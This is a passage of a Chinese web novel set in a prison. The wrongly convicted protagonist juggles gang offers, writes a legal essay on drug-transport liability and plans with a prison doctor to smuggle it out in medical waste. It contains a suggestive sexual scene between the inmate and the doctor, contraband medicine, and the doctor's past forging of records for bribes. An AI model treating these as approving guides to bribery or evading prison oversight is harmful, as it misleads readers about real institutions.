码头帮那边,大眼仔坐在靠门的位置,正跟身边一个矮胖犯人低声说话,看见林燃进来,眼神碰了碰,又迅速移开。小霸王没露面。
北佬帮的人堆在食堂另一角,小浙江坐在最外面,慢条斯理地掰着馒头。疤脸也不在。
一顿早饭,吃得风声鹤唳。
但什么也没发生。
没有挑衅,没有冲突,甚至连往常那种故意撞一下、泼点汤水的小动作都没有。
直到早饭结束,列队离开食堂时,白癜风才从林燃身边经过。
两人擦肩而过的瞬间,白癜风脚步顿了顿。
他没看林燃,眼睛盯着前方,声音却从牙缝里挤出来,低得只有两人能听见:
“豁嘴的手保不住了。”
林燃脚步没停。
“然后呢,你想怎样?”
白癜风腮帮子绷紧了,那道白斑显得更刺眼。他喉咙里滚出一声意味不明的响动,像是笑,又像是咬牙切齿。
“你会知道的。”
说完,他加快脚步,走进了前面的人群。
林燃看着他的背影,心里那根弦又绷紧了一分。
豁嘴的手保不住——这事儿在他意料之中。缝纫机针穿透手掌,又在那种脏污环境里拖了几天,感染是必然的。但白癜风特意来告诉他,是什么意思?威胁?还是……某种试探?
上午的劳动还是缝纫车间。
林燃被分到的位置没变,还是靠窗那台机器。但今天车间里的气氛明显不一样。
管教老严背着手在过道里晃悠,眼神时不时往林燃这边瞟,却一次也没走近。白癜风坐在监工位上,手里捏着个本子,假装在记什么,但笔尖半天没动一下。他手下那些人,干活格外卖力,没人交头接耳,更没人往林燃这边看。
太安静了。
安静得反常。
林燃手下缝纫机哒哒地响,针脚走得均匀,脑子里却在快速盘算。
白癜风现在不敢动——小霸王刚吃了瘪,码头帮态度暧昧,北佬帮隔岸观火,他这时候跳出来,就是活靶子。
但他在等。
等一个机会,或者等一个信号。
至于等什么……
林燃想起苏念晚昨晚的话——“白癜风压着,但压不住。”
笑面佛一死,树倒猢狲散。白癜风想接手那摊生意,但底下的人未必服气。豁嘴这事,就是个口子——老大连自己兄弟的手都保不住,谁还跟你混?
所以白癜风现在最急的,不是报仇,是立威。
他需要一场胜利,哪怕是场小的,来稳住人心。
而自己,就是那块最好的垫脚石。
想明白这点,林燃心里反倒踏实了。
不怕敌人动手,就怕敌人不动。只要动,就有破绽。
中午放风,操场。
天阴着,云层压得很低,空气黏糊糊的,像要下雨。
林燃没去单杠,也没跑步。他找了个靠墙的角落,慢慢活动左腿。伤处还是肿,但比昨晚好点。苏念晚给的药膏有点用,清凉感能暂时压住那火烧火燎的疼。
刀疤辉蹲在旁边,撩起衣服下摆看腹部的伤。那片青紫已经扩散开来,颜色更深了,像泼了墨。
“燃哥,”刀疤辉低声说,“我刚才上厕所,听见四监区两个人在说……”
“说什么?”
“说小霸王被船爷叫回去,骂得狗血淋头,禁足一周。码头帮里现在吵翻了,少壮派那帮人嚷着要报仇,说‘王哥的脖子不能白架’。但老成派不干,说这事儿本来就是咱们不占理——先算计拳手,再联手仇家灭口,传出去丢的是整个码头帮的脸。”
林燃动作顿了顿。
这消息,和他猜的差不多。
“还有呢?”
“还说……”刀疤辉左右看看,声音压得更低,“老成派里有人提,说林燃这小子‘有胆有谋’,是个人才。白癜风那事,暴露了码头帮跟笑面佛余党勾连,不光彩。与其结仇,不如拉拢。”
林燃笑了。
冷笑。
拉拢?怕是先稳住他,等风头过了再算账吧。
但这话里透出另一个意思——码头帮内部,不是铁板一块。
有分歧,就有空间。
正想着,操场那头忽然一阵骚动。
林燃抬头看去。
是大眼仔。
他一个人,从码头帮那堆人里走出来,没往林燃这边来,反而朝着操场西北角的公共厕所走去。经过林燃这边时,脚步没停,眼睛也没看过来,但右手抬起,看似随意地挠了挠后脑勺。
挠了三下,然后他就往厕所去了。
林燃眼神一动。
这是……信号?
第一百四十三章 合纵连横
他等了几秒,确定没人注意,才慢慢直起身,对刀疤辉说:“我去趟厕所。”
“燃哥,我陪……”
“不用。”林燃打断他,“你在这儿盯着白癜风。”
说完,他朝着厕所方向走去。
步子不快,身上的伤让他走起来有点慢,但不明显。
厕所里气味冲鼻,尿骚混着劣质消毒水的味道。几个犯人站在小便池前,边放水边低声说笑,看见林燃进来,声音戛然而止。
林燃没理他们,径直走到最里面的隔间,推“门”进去。
而实际上监狱的隔间从来没门
也没人。
他等。
大约过了两分钟,隔壁隔间的挡板被轻轻敲了三下。
笃,笃,笃。
林燃没说话。
那边传来大眼仔压低的声音:“林燃?”
“嗯。”
“你还能谈吗?”
林燃撇嘴一笑:“你们背叛我,想害我,现在还要谈?”
大眼仔有些尴尬的回应:“你是聪明人,在这里,不存在什么背叛不背叛的,我相信你早就明白这个道理,有的只是生存,哪个策略更有利,就选哪个,这没错吧?”
“那现在没弄死我,你们怕了?”
“不是怕,我是一直想和你合作的,如果你想吵,甚至想打我,都行,但听我说,时间不多。”大眼仔吞了口口水,语速很快,“王哥被船爷禁足了,一周。帮里现在分两派,少壮派要弄你,老成派想拉你。船爷的意思……没明说,但我觉得,他有点欣赏你。”
欣赏?
林燃扯了扯嘴角。怕是欣赏他够胆,也够疯吧。
“白癜风那边,是霸王哥自己做的决定,觉得可以利用笑面佛的剩余势力,却没想到这么不顶用。”大眼仔继续说,“船爷很不高兴。跟笑面佛余党勾连,这事儿不光彩。现在豁嘴的手保不住,白癜风压不住底下人,快成笑话了。”
林燃听明白了。
船爷不高兴的不是白癜风要弄他,是不高兴白癜风做事不干净,还连累了码头帮的名声。
“你想说什么?”林燃直接问。
隔壁沉默了几秒。
“现在白癜风干不掉你,又没什么钱,也没人,还要求挺多,甚至想恢复笑面佛之前的地盘……反而是个麻烦。”
大眼仔的声音更低了,“对你是麻烦,对码头帮也是。船爷不喜欢麻烦。”
“所以?”
“所以……”大眼仔顿了顿,“如果有人能‘解决’这个麻烦,码头帮可以既往不咎。甚至,可以合作。”
话说得含蓄,但意思赤裸。
借刀杀人。
码头帮不想脏自己的手,想借他的手,除掉白癜风这个不稳定因素。事成之后,恩怨一笔勾销,说不定还能分他点好处。
林燃笑了。
笑声很轻,但在寂静的隔间里格外清晰。
“大眼,”他说,“你觉得我像傻子吗?”
隔壁没吭声。
“白癜风是麻烦,我就不是?”林燃继续说,声音平静,“今天我替他除了白癜风,明天呢?后天呢?等我没用了,是不是也该‘解决’了?”
“林燃,你别不识好歹……”
“我识得很。”林燃打断他,“回去告诉船爷,也告诉王哥——我林燃不是谁的刀。想合作,拿出诚意来。想让我当枪使……”他顿了顿,“得加钱。”
说完,他走了出去。
厕所里那几个犯人还站在那儿,眼神复杂地看着他。
林燃走到洗手池边,拧开水龙头。冰凉的水冲过手指,带走一些黏腻的汗。
他看着镜子里自己的脸。
年轻,但眼神老。
眼底有血丝,下巴上有新冒出的胡茬,颈侧那道划痕已经结痂,像条细长的虫子。
还不够。
他对自己说。
光活着不够,光威望远扬也不够。
得让他们怕,怕到不敢动你,还得让他们需要你,需要到舍不得动你。
路还长。
…………
操场的空气像块湿透的破抹布,沉甸甸糊在脸上。
林燃从厕所出来,左腿胫骨的伤在阴天里一跳一跳地疼,像有根细针在骨头缝里搅。
他没立刻回刀疤辉那边,沿着围墙根的阴影慢慢走,眼睛半眯着,看远处白癜风那伙人聚在单杠附近抽烟——烟头那点红光在灰蒙蒙的天色里明明灭灭,像野兽不安分的眼睛。
刚才大眼仔的话还在耳朵里嗡嗡响。
借刀杀人?既往不咎?
他林燃的命,在那些大佬眼里,轻得还不如食堂泔水桶里飘着的那层油花。
今天能让你当刀,明天就能把你扔进熔炉里重炼。
这道理,他前世被姚永军坑进监狱时就该懂了,可惜懂得太晚,代价是一条脊椎和十年生不如死。
这辈子,谁也别想再把他当棋子。
正想着,眼角余光瞥见一个人影从操场对角晃过来。
步子不快,有点拖,但目标明确——是朝他这边来的。
小浙江。
林燃脚步没停,心里那根弦却悄无声息地绷紧了。
北佬帮的人,这时候来找他?
疤脸刚被他废了右肩,赵大金就算再欣赏他“是条汉子”,这节骨眼上派人来,总不会是送温暖的。
小浙江走近了。
他今天换了件洗得发灰的汗衫,袖子卷到肘弯,露出小臂上几道新鲜的擦伤——不深,但红得扎眼。
他手里捏着个扁平的、用旧报纸裹得严严实实的小包,走到离林燃三步远的地方停下,没说话,先把东西递过来。
林燃没接,看着他。
“药。”小浙江开口,声音还是那副半死不活的调子,像喉咙里卡着口痰,“云南白药,真货,外面弄进来的。”
他说得简单,多余一个字没有。
林燃目光落在那报纸包上。
纸已经磨得起了毛边,能看出反复拆封又裹好的痕迹。
他没动,等下文。
小浙江也不急,就那么举着,手很稳。两人在围墙阴影里站着,远处放风的喧闹声像隔着层毛玻璃,模糊不清。
过了大概十几秒,小浙江见林燃没反应,才又补了一句,声音压得更低,几乎成了气音:
“虎爷让我带的。”
虎爷。赵大金。
这包着的是什么?挑衅?还是示好?
第一百四十四章 路走宽了
林燃心里转了转,伸手接过纸包。
入手沉甸甸的,隔着报纸能摸出里面药瓶的轮廓,还有一小卷应该是绷带的东西。
他没拆,顺手揣进囚服内袋——动作自然得像收了包烟。
“疤脸怎么样?”
林燃问,语气平淡,像在问天气。
小浙江眼皮抬了抬,看了他一眼:“肩胛骨韧带撕裂,右胳膊以后使不上大力了。”
他说这话时脸上没什么表情,既没怨恨也没惋惜,纯粹陈述事实.
“医生说他运气好,你那一刀要是再偏半寸,挑断大筋,整条胳膊就废了。”
林燃“嗯”了一声,没接话。运气好?
或许吧。
但他当时留了手是真——不是心软,是没必要。
废了疤脸对他没好处,反而跟北佬帮结死仇。现在这样正好,疤脸失去战斗力,赵大金少了员悍将,但仇还没到不死不休的地步。
“虎爷让我带三句话。”
小浙江见林燃收了药,这才进入正题。
他左右扫了一眼,确认附近没人靠近,才继续开口,语速不快,每个字都嚼碎了吐出来:
“第一句,锅炉房那场拳,你打得好。绝境里能把疤脸放倒,还能从小霸王脖子上全身而退——是条汉子。虎爷说,他很多年没在监狱里看见这么带种的年轻人了。”
这话说得直白,甚至带了点江湖气。林燃没吭声,等着。
“第二句,”小浙江顿了顿,眼神里闪过一丝不易察觉的冷光.
“白癜风和码头帮勾连那事儿,北佬帮事先不知情。疤脸上台前,只接了‘废了你’的活儿,钱是码头帮中间人给的。
至于白癜风后来带人堵你,还有跟小霸王那些算计——疤脸不知道,虎爷也不知道。”
这是在撇清关系。
林燃听懂了。赵大金不想因为疤脸的事,跟白癜风、码头帮那滩浑水搅在一起。
换句话说,北佬帮对“借刀杀人”没兴趣,至少这次没兴趣。
“第三句,”小浙江声音更低了,几乎贴着林燃的耳朵,“虎爷问,想不想正经搭伙。”
来了。
林燃眼神动了动,脸上还是那副没睡醒似的表情:“怎么个搭法?”
“北佬帮在三监区缺个点。”
小浙江说得很直接,“笑面佛倒了,白癜风撑不起那摊子。
码头帮手伸得太长,吃相难看。虎爷的意思是——你站稳了,对你,对我们,都有好处。”
话说得含蓄,但意思赤裸。赵大金想扶他林燃起来,在笑面佛倒下的废墟上插一根北佬帮的旗。
代价是什么?自然是以后得替北佬帮办事。
林燃没立刻回答。他摸出根烟——是昨晚刀疤辉塞给他的,牌子很次,烟丝松散。
他低头点上,吸了一口,劣质烟草的辛辣味冲进肺里,呛得他咳了两声。
“虎爷的好意,我心领了。”
他把烟雾慢慢吐出来,看着它们在潮湿的空气里散开。
“药我收了,情我记着。但搭伙这事儿……容我想想。”
他顿了顿,抬眼看向小浙江:
“你也知道,我现在身上挂着多少双眼睛。码头帮那边刚碰了一鼻子灰,白癜风恨不得生吃了我。这时候跟北佬帮走得太近——”
他扯了扯嘴角,“怕是死得更快。”
小浙江盯着他看了几秒,忽然笑了。那笑容很淡,几乎看不出来,但眼里那层冰壳子裂了道缝。
“虎爷猜到你会这么说。”
小浙江后退半步,恢复那副死人脸,“虎爷还让我说——不急,你慢慢想。北佬帮的门,给你留着。”
说完,他转身就走,没半点拖泥带水。
林燃夹烟的手指顿了顿。
小浙江已经晃进人群里,不见了。
操场上的风大了些,卷起地上的沙土,打在脸上生疼。
林燃把烟头扔在地上,用鞋底碾灭,然后一瘸一拐地往回走。
脑子里那几张牌,又开始重新洗。
赵大金的橄榄枝,比码头帮的有诚意——至少明码标价,没藏着掖着。
药是真药,话也是实话。但“搭伙”这事儿,说到底还是当枪。
区别在于,码头帮想让他当一次性的刀,用完就扔;北佬帮想让他当长期的桩,钉在三监区。
哪个更好?
说实话,都不怎么样。但人在监狱,没资格挑肥拣瘦。两害相权,得选那个能活得更久的。
林燃走到刀疤辉身边,坐下。腹部的伤让刀疤辉坐不直,只能佝偻着,额头上全是冷汗。
“燃哥,没事吧?”周晓阳拄着拐挪过来,眼神担忧。
“没事。”
林燃从内袋里掏出那个报纸包,拆开。里面果然是一瓶云南白药粉,还有卷干净的绷带,甚至夹了四片用蜡纸单独包着的白色药片——没标签,但林燃认得,是头孢。
好东西。
在监狱里,这比黄金还硬。
“辉子,躺下。”林燃说。
刀疤辉愣了愣,还是依言在长凳上躺平。
林燃掀开他汗衫,露出那片骇人的青紫。药粉洒上去,刀疤辉咬紧牙关,没哼出声。林燃又拆了片头孢,递给他:
“吞了,防感染。”
刀疤辉接过药片,干咽下去,喉咙滚动了几下。
“燃哥,”他哑着嗓子问,“刚才小浙江……”
“送药。”林燃截住话头,手上包扎的动作没停,“赵大金示好。”
“那咱们……”
“再看看。”林燃把绷带打了个结,用力勒紧,“不急。”
他收起剩下的药,重新包好,塞回内袋。
那瓶云南白药粉沉甸甸的,贴着胸口。
操场那头,白癜风的烟抽完了。
他把烟头狠狠摔在地上,用脚碾了又碾,然后抬起头,目光越过攒动的人头,笔直地射过来。
林燃迎上他的目光,没躲。
两人隔着半个操场,对视了大概五秒。
白癜风先移开了视线。他转身,带着那两个人,朝监舍楼走去。
背影有些佝偻,那道白斑在灰暗的天色里,像块永远洗不掉的污渍。
林燃缓缓吐出一口气。
他知道,这暂时的平静,撑不了多久。
路越走越窄,桥越来越险。
林燃想把路走宽。
第一百四十五章 锁门干嘛
回到312监舍,铁门在身后合拢的瞬间,林燃才允许自己脊背松垮半分。
他走到自己铺位边,从枕头底下摸出个扁平的铁皮盒子——那是之前藏烟用的,现在空了。
打开盒子,里面是几页折得整整齐齐的稿纸,边缘已经磨得起毛。
纸是从阅览室顺出来的过期报纸的空白边角,铅笔是找老赵头借的,写秃了就用小刀削,现在只剩下拇指长的一截。
林燃在铺上盘腿坐下,把稿纸摊在膝头。
纸上写满了字,密密麻麻,有些地方涂改了又写,墨迹叠着墨迹。
标题用稍大的字写着:《论运输毒品罪中“明知”要件认定困境——兼谈个别化量刑的实践可能》。
这是他在过去几天零碎时间里断断续续写的东西。
白天劳动时在脑子里打腹稿,晚上熄灯后借着窗外探照灯扫过的几秒光亮,趴在铺上写几个字。
进度慢得像蚂蚁搬家,但框架已经搭起来了。
引言部分引了刑法第347条,运输毒品罪的构成要件。
这部分他写得最顺——前世瘫在床上那十年,他把刑事诉讼法、刑法总则分则翻来覆去啃了无数遍。
那些条文几乎刻在脑子里,虽然这时的刑法连第五修正案都没出来,和林燃前世熟悉的的大相径庭,但这样也好,他掌握的是未来刑法理论的修正方向,此世抛出来,更具有前瞻性,更引人注意。
条文、伦理还好。
难的是案例分析。
他需要举出三个“真实案例”,来论证“明知”要件在司法实践中的认定难题。
第一个案例他用了前世在新闻上看过的一个案子——货车司机帮人运货,货里夹带了毒品,司机坚称不知情,但法院以“应当知道”推定其主观明知。
第二个案例,他模糊处理了一个边境地区的案子,说理部分写得格外详细,重点论述了在“控制下交付”侦查手段中,线人或特情人员诱导行为的边界问题。
第三个案例……他停住了笔。
铅笔尖悬在纸面上方,半天没落下去。
第三个案例,他准备写自己的案子。
但怎么写?
直接喊冤?那这文章就废了。谭副院长那种人,每天收到的喊冤信能摞成山,看都不会多看一眼。
得绕。
用学术探讨的包装,把案情拆解成法律争议点——特情人员单线联系的程序瑕疵、交接过程缺乏第三方见证、物证提取链的断裂可能、还有最关键的那个问题:当一个“卧底任务”本身就是陷阱时,被诱入陷阱的人,其“明知”该如何认定?
林燃盯着稿纸,眼神有些空。
他想起2000年6月12日那个闷热的下午。市局旁三层小楼,二楼那间没有标识的办公室。姚永军递过来的证件,那张微胖的、戴着眼镜的“政治处干部”的脸。还有那句“组织需要你”。
铅笔尖在纸面上轻轻点了一下,留下个灰点。
他低头,开始写。
…………
养伤的第三天,林燃在医务室换药。
处置室里消毒水的气味依旧浓烈,苏念晚身上的味道,淡淡钻进林燃的鼻腔里,痒痒的,加上眼前丽人被黑色裤袜包裹下凹凸有致的曲线,勾弄着他的心神。
但他很快摇了摇头,今天不是想这些的时候。
她动作很轻,拆开林燃身上的旧绷带。肿胀消了些,但皮肤下那片瘀紫还没散干净,像幅褪了色的地图。
“伤没加重,算你运气。”苏念晚低着头,用镊子夹着碘伏棉球擦拭伤处边缘,动作专业,但睫毛在颤动,“但至少还得固定两周,不能承重。”
林燃“嗯”了一声,眼睛却看着处置室角落那个废纸篓。里面堆着些用过的纱布、棉签,还有几个空药盒。最上面是半张撕碎的处方笺,纸很白,是医务室专用的那种带抬头的稿纸。
“苏医生,”林燃忽然开口,“你们医务室……这种稿纸,多吗?”
苏念晚手一顿,抬起头看他:“你要这个干什么?”
“写点东西。”林燃语气平常,“阅览室那边纸不够,老赵头盯得紧。”
苏念晚没立刻接话。她重新低下头,继续处理伤口,但手上的动作慢了些。过了几秒,她才低声说:“处置室柜子最下面那层,有半本没用完的。是以前作废的台账底子,背面是空的。”
她说完,飞快地瞥了他一眼,又低下头去。
那眼神里有东西——担忧,疑惑,还有一丝藏得很深的、几乎看不出来的信任。
林燃心里动了动。
换完药,苏念晚从柜子里拿出那半本台账。纸是医务室专用的横格稿纸,抬头印着“安江监狱医务室药品消耗登记”,但下面几十页都是空白的。纸很厚实,摸起来有质感。
“够吗?”她问。
“够了。”林燃接过本子,揣进怀里。稿纸贴着胸口,能感觉到纸张微微的凉意。
他看着眼前丽人,这段时间相处下来,他不知道对于苏念晚是一种什么情绪。
对于其处境的爱怜?
出于现实需要的控制?
还是对于其之前替犯人违法保外就医操作的厌恶?
亦或只是单纯发泄欲望……的工具?
这些可能都有一些,交织在一起,让两人的交往有些复杂。
“怎么了?”
察觉到林燃灼灼目光的苏念晚,突然抬起头。
“咳,没什么,你妈怎么样?”林燃被她看得不好意思,找了个话题。
“还好,算稳定,现在就是拖着,但……还是谢谢你。”
苏念晚微微低头,眉毛微蹙,她有点奇怪林燃为什么突然问起,但想到他之前对自己的帮助,而一个男人此时提起恩情,是不是为了提醒自己,这是欠他的……
“嗯,那个,今天就你一个?”
林燃没想这么多,准备起身,他又顺口问了一句,但苏念晚却想到了那方面。
只见眼前丽人轻咬了一下嘴唇,便点了点头。
“嗯,今天就我值班,我把门锁一下……”
她起身将医务室门锁好,外面狱警隔的老远坐着看书,没注意这边情况。
“锁门干嘛……”
第一百四十六章 那个
林燃还没反应过来,苏念晚此时已经蹲下,嘴上叼着发圈,双手背在脑后,开始扎头发。
她含糊道:“那个……我来那个了,但可以用这个……为你那个……”
…………
潮水褪去,林燃仰着脖子,从无上颤快中回过神来。
不得不说苏念晚真是天生尤物。
她不仅仅那个,结束后还小猫舔食一般,将“现场”清理干净,让林燃又爽快了一把。
看着为自己忙碌的丽人,林燃心生一股温情,下意识地用手拂过眼前美人的头发。
正收拾的苏念晚,被他这一举动,抬起头,两人双目对视。
此情此景之下,她下意识仰起脖颈,就要吻上去。
却没想到林燃先一步反应过来,将头稍稍扭开。
躲过了这一吻。
苏念晚有些疑惑,隔了一下才笑骂道:“你怎么这么精啊!这个时候就不肯亲了?”
林燃此时也笑了起来:“虎毒不食子啊!”
两人顿时都笑的开心。
林燃突然意识到,他已经很久很久很久没有笑得这么开心了,不管是病床上的前世,还是危机四伏的今世,他想不起上次这样轻松地笑。
是什么时候?
可能是入狱前了吧?
心神回到高墙内。
两人再次四目相对,居然有些年轻情侣间的青涩感。
彼此错开目光,各找事做。
“那个……我先回去了……”
“嗯……下次再见。”
林燃走到门口,手已经搭上门把,又停住,回头。
苏念晚站在处置台边,正在整理器械。白大褂在灯光下显得格外单薄,头发在脑后松松挽着,露出纤细的脖颈。她没看他,但侧脸的线条因为刚刚的一切,还有些腮红。
“谢了。”林燃说。
苏念晚背对着他,肩膀几不可察地颤了一下。
她没回头,只是很轻地“嗯”了一声。
…………
回到312监舍时,已经是傍晚。
监舍里没人——刀疤辉被叫去帮忙搬运仓库的旧物资,周晓阳去了阅览室,麻杆和牛哥不知道溜去哪儿了。铁窗透进来的夕阳光把水泥地染成暗红色,空气里有浮尘在光柱里缓慢旋转。
林燃在铺上坐下,拿出那半本稿纸和那截短得可怜的铅笔。
他翻开本子,在第一页的空白处,重新写下标题。这一次,他用的是医务室这支稍微顺滑些的铅笔,字迹工整了许多。
引言部分很快写完。案例部分,前两个也顺下来了。
轮到第三个案例。
他深吸一口气,笔尖悬在纸面上。
这一次,他没犹豫。
他开始写一个“虚构”的案例:某青年甲,警校毕业生,在毕业前夕被“上级部门”秘密招募,执行一项针对贩毒团伙的“控制下交付”任务。
任务过程中,青年甲在不知情的情况下,携带了装有毒品的物品前往指定地点,随后被捕。
审讯中,青年甲申辩自己是卧底,但负责联络的“上级”神秘消失,档案中无此任务记录。最终,法院以“运输毒品罪”判处其有期徒刑十年。
写到这里,林燃停了笔。
手指有些抖。
不是害怕,是某种更深的东西——仿佛把那段血肉模糊的记忆,从身体里活生生剜出来,摊开在纸上。
他闭上眼,缓了几秒。
再睁开时,眼神已经冷了。
他继续写分析部分。笔尖在纸面上划出沙沙的声响,在寂静的监舍里,像春蚕啃食桑叶。
他论述“特情引诱”与“犯意引诱”的界限——当侦查机关的行为已经不是在“发现犯罪”,而是在“制造犯罪”时,由此取得的证据,其合法性该如何认定?
他讨论“主观明知”的推定规则——在缺乏直接证据证明行为人“明知”是毒品的情况下,仅凭其“应当知道”就定罪,是否违反了“疑罪从无”的原则?
他甚至还引了几句国外判例,都是前世啃书时记下来的,现在模糊处理了出处,但观点是锋利的。
写到建议部分时,天已经黑透了。
监舍里没开灯,只有窗外远处高墙上的探照灯光偶尔扫过,在纸上投下短暂的光斑。林燃就着那点转瞬即逝的光,一个字一个字地写。
他提出“主观恶性分级评估”——把运输毒品的行为,按行为人的主观恶性分成几个等级:明知且积极追求、明知但被动参与、应当知道但存在合理怀疑空间、确实不知情但存在重大过失。
他又提“证据链完整性审查”——在涉及特情手段的案件中,要求侦查机关必须提供完整的、可验证的证据链,来证明行为人的主观明知,而不能仅凭“常理推定”。
最后,在结语部分,他引用了贝卡利亚那句话:“刑罚的目的不是报复,而是防止犯罪者再犯,并威慑其他人。”
写到这里,他停了笔。
整篇文章,五千多字,用了整整二十页稿纸。手指因为长时间握笔,关节处已经磨出了水泡,一动就疼。
他靠在墙上,仰起头,看着漆黑的天花板。
胸腔里有什么东西在翻滚,热得发烫,又冷得刺骨。
这篇文章,是他抛出去的饵,也是他藏在纸里的刀。
成不成,就看那条鱼,咬不咬钩了。
…………
第二天放风时,麻杆蹭到林燃身边,声音压得极低,嘴唇几乎没动。
“燃哥,老程那边有信了。”
林燃正在慢慢活动左腿,闻言动作没停:“说。”
“谭副院长的办公室地址,在市中院刑一庭,三楼最东头那间。老程说,那老头儿有个习惯——每封信都会看,而且亲自拆,不经过书记员。”
麻杆顿了顿,左右看看,声音更低了:“但是寄信得走监狱的审查通道,所有往外寄的东西,管教先过一遍,狱政科再查一遍。要是文章里……有什么敏感内容,肯定到不了谭副院长手里。”
林燃“嗯”了一声,没说话。
这问题他早就想过。
监狱的邮件审查,比边防安检还严。别说这种涉及案件细节的法律文章,就是普通家信里多写几句牢骚,都可能被扣下。
得另找路子。
第一百四十七章 救命稻草
他想起苏念晚。
医务室每周会有一次医疗垃圾外运,那是监狱里少数几条能直通外面的、不经过严格审查的渠道。那些用过的纱布、棉签、一次性器械,会被打包运到市里的医疗废物处理中心。
或许……
“麻杆,”林燃开口,“医务室的医疗垃圾,一般周几运出去?”
麻杆愣了愣,随即眼睛一亮:“周三!每周三下午!我上次帮王瘸子搬过,是从医务室后门直接上车,狱警就站旁边盯着,但不会翻查垃圾袋——那玩意儿太脏,没人愿意碰。”
林燃心里迅速盘算:如果把文章塞进医疗垃圾袋,周三下午运出去,周四上午应该能到处理中心。从处理中心把信翻出来,再寄到市中院……
理论上可行。
关键是,怎么让文章在垃圾处理中心被“发现”,而不是直接被销毁?
这需要外面有人接应。
林燃脑子里闪过秦墨的脸。
但很快又否定了。秦墨是警察,让她去垃圾处理中心翻医疗废物?太扯,也太危险。而且两人的联系渠道是密码本和寻呼机,时间太紧,这种具体操作根本没法沟通。
得再想。
…………
周二晚上,熄灯前半小时。
林燃把那二十页稿纸仔细折好,外面裹了三层防水的油纸——那是从食堂偷藏出来的,包馒头用的。油纸外面,又套了个干净的、没使用过的医疗废物袋,袋口用细线扎紧。
文章最后那页,他补了一行小字:
“冒昧呈文,恳请指正。一名渴望改造、亦困惑于罪责边界的犯人——安江监狱第三监区罪犯林燃。”
没有喊冤,没有诉苦,甚至没提案子细节。
但足够了。
他把包裹塞进囚服内袋,贴着胸口。纸包的棱角硌着皮肤,有点疼。
熄灯哨响时,监舍里陷入黑暗。
林燃躺在铺上,睁着眼。
窗外有风声,远处有不知哪个监舍传来的压抑咳嗽声。身上的伤处还在隐隐作痛,但比起胸腔里那团烧着的东西,这点疼几乎可以忽略。
引信准备好了。
问题是怎么点燃它!
…………
就这样冥思苦想到了这天,可林燃还是没有找到寄信的途径。
无可奈何的情况下,他只能先借口看伤,到医务室看看有没有机会。
周三的医务室格外安静。
消毒水的气味被刻意加重了,拖地的水渍还没干,在惨白的日光灯下反着光。苏念晚坐在处置台后面,面前摊开一本药品消耗登记簿,笔尖悬在纸上,半天没落下一个字。
她的白大褂口袋里,那个栀子花香包的气味比往常更浓了些。
门被推开时,她手抖了一下,笔尖在纸上戳出个小墨点。
进来的是林燃。
他囚服洗得发灰,袖口磨起了毛边,领口那粒扣子松了,露出半截锁骨。脸上没什么表情,但眼睛里那层冰壳子底下,有什么东西在烧。
“换药。”林燃在处置床边上坐下,声音很平。
苏念晚“嗯”了一声,起身去拿器械盘。镊子、剪刀、碘伏、纱布,一样样摆开,动作熟练,但指尖有点凉。
她撩起林燃的衣服,身上瘀紫转成暗黄色,像幅褪了色的旧地图。伤口边缘结了层薄痂,底下新肉是嫩的粉红色。
“恢复得还行。”苏念晚低着头说,棉球蘸了碘伏,轻轻擦拭伤处,“但还得养,不能急着用力。”
林燃没吭声,眼睛看着窗外。
医务室的窗户对着监狱内院,能看见远处高墙上的电网,和更远处灰蒙蒙的天。云层压得很低,像要下雨。
换药的过程很安静,只有器械碰撞的轻微声响,和两人压低的呼吸。
绷带缠到最后一圈时,苏念晚忽然开口,声音很轻,轻得几乎听不见:
“你要寄的东西……写完了?”
林燃身体几不可察地僵了一下。
他转过头,看向苏念晚。
她还在低头打绷带结,睫毛垂着,在眼睑下投出一小片阴影。白大褂的领口微微敞开,能看见里面那件洗得发白的棉质衬衫,领子熨得很平整。
“你怎么知道?”林燃问,声音也压得很低。
苏念晚没抬头,手指灵活地把绷带尾端塞进缝隙里:“前两天,你问我稿纸的时候……我猜的。”
她顿了顿,终于抬起眼。
两人的目光在空气中碰了一下。
苏念晚的眼睛很亮,眼底有些血丝,像是没睡好。但那亮光底下,有种破釜沉舟的决绝。
“医务室每周三下午,会有车来运医疗垃圾。”她说,语速不快,每个字都咬得很清楚,“车是市医疗废物处理中心的,司机老陈……我认识。”
林燃没说话,等着。
“他女儿有先天性心脏病,去年在省城做手术,主刀医生是我大学同学。”苏念晚继续说,声音更低了,“手术前后,我帮过几次忙。老陈记这个人情。”
处置室里静了几秒。
远处传来放风场的哨声,尖锐而短促,像把刀子划破空气。
“风险很大。”林燃终于开口。
“我知道。”苏念晚说,嘴角扯了扯,像是个苦笑,“但我欠你的。”
她说的是那笔钱——林燃把原本要给李昌东的一万块,转给了她母亲做医疗费。这事儿她提过,但林燃没当回事。在他眼里,那是交易的一部分,是拴住这个医生的必要代价。
但现在看来,苏念晚不这么想。
“不全是钱的事。”苏念晚像是看穿了他的心思,轻声说,“我母亲……这个月透析做完了,情况稳定。医生说,如果能持续治疗,再活三五年没问题。”
她停了停,手指无意识地摩挲着绷带边缘:“三五年……够我做很多事了。”
林燃盯着她看了几秒。
阳光从窗户斜射进来,在她侧脸上切出一道明暗分界线。那道光线里有细小的灰尘在旋转,缓慢地,像时间的碎屑。
“东西在我这儿。”他终于说,从怀里掏出那个油纸包。
二十页稿纸,折得方正正,外面裹了三层油纸,又套了个干净的医疗废物袋。袋口用细线扎得死紧——这是他现在的救命稻草。
第一百四十八章 豪赌
苏念晚接过包裹,掂了掂。
不重,但握在手里,像握了块烧红的炭。
“今天下午三点,车会来。”
她把包裹塞进白大褂内侧一个特制的暗袋里——那袋口开在腋下,很隐蔽,不贴身搜根本发现不了。
“老陈会把这个袋子单独放在驾驶座下面。到了处理中心,他会‘不小心’把它落下,带回去,然后寄到你想要寄的地址。”
她说得很流畅,显然是反复盘算过的。
林燃听懂了。
这是一场**。筹码是他的文章,是苏念晚的前途,是老陈的工作。
赢面很小。
但总比没有强。
“为什么?”林燃忽然问。
苏念晚愣了一下:“什么为什么?”
“为什么冒这么大险?”林燃看着她,“那一万块,你不欠我什么。那是交易。”
苏念晚沉默了。
她转身走到水池边,拧开水龙头。水流哗哗地冲在手上,她挤了点洗手液,慢慢地搓,搓得指关节发红。
“我母亲确诊尿毒症那天,是个下雨天。”
她忽然开口,声音在水声里显得有些飘,“我从医院出来,站在街边,看着车来车往,不知道去哪筹钱。透析一次八百,一周三次,一个月就得上万。我那点工资,连零头都不够。”
她关掉水龙头,甩了甩手,水珠溅在陶瓷池壁上。
“后来我接了第一个犯人的‘生意’——帮他伪造病历,申请保外就医,收了五千。那天晚上,我对着那一沓钱,吐了。”
